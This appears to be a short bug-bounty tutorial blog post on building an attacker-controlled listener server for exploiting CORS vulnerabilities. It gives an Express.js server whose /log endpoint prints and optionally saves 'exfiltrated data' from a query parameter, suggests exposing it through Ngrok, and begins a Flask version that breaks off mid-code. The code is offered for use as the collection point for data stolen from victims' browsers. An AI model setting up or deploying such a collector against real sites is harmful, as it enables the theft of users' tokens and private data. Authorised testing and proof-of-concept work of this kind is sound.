This article describes about to create your own server that helps to exploit CORS vulnerability or more.

Hi

this side welcome back to my another article. Today we will learn about to create your own server that helps to exploit real world bugs. we can create server in any languages. Which you know very well. I have dropped code below in different-different stacks.

Requirements:

• Programming language
• Ngrok (for portforwading)

Create JS Server:

const express = require('express');
const app = express();
app.get('/log', (req, res) => {
  const data = req.query.key || '';
  console.log('[+] Exfiltrated data:', data);
  // Optional: Save logs to file
  // const fs = require('fs');
  // fs.appendFileSync('logs.txt', data + '\n');
  res.send('Logged');
});
const PORT = 8080;
app.listen(PORT, () => {
  console.log(`Listening on port ${PORT}`);
});

Run this server

npm start 

In python Flask

from flask import Flask, request
app = Flask(__name__)
@app.route('/log', methods=['GET'])
def log_data():
    data = request.args.get('key', '')
    print('[+] Exfiltrated data:', data)
    # Optional: Save…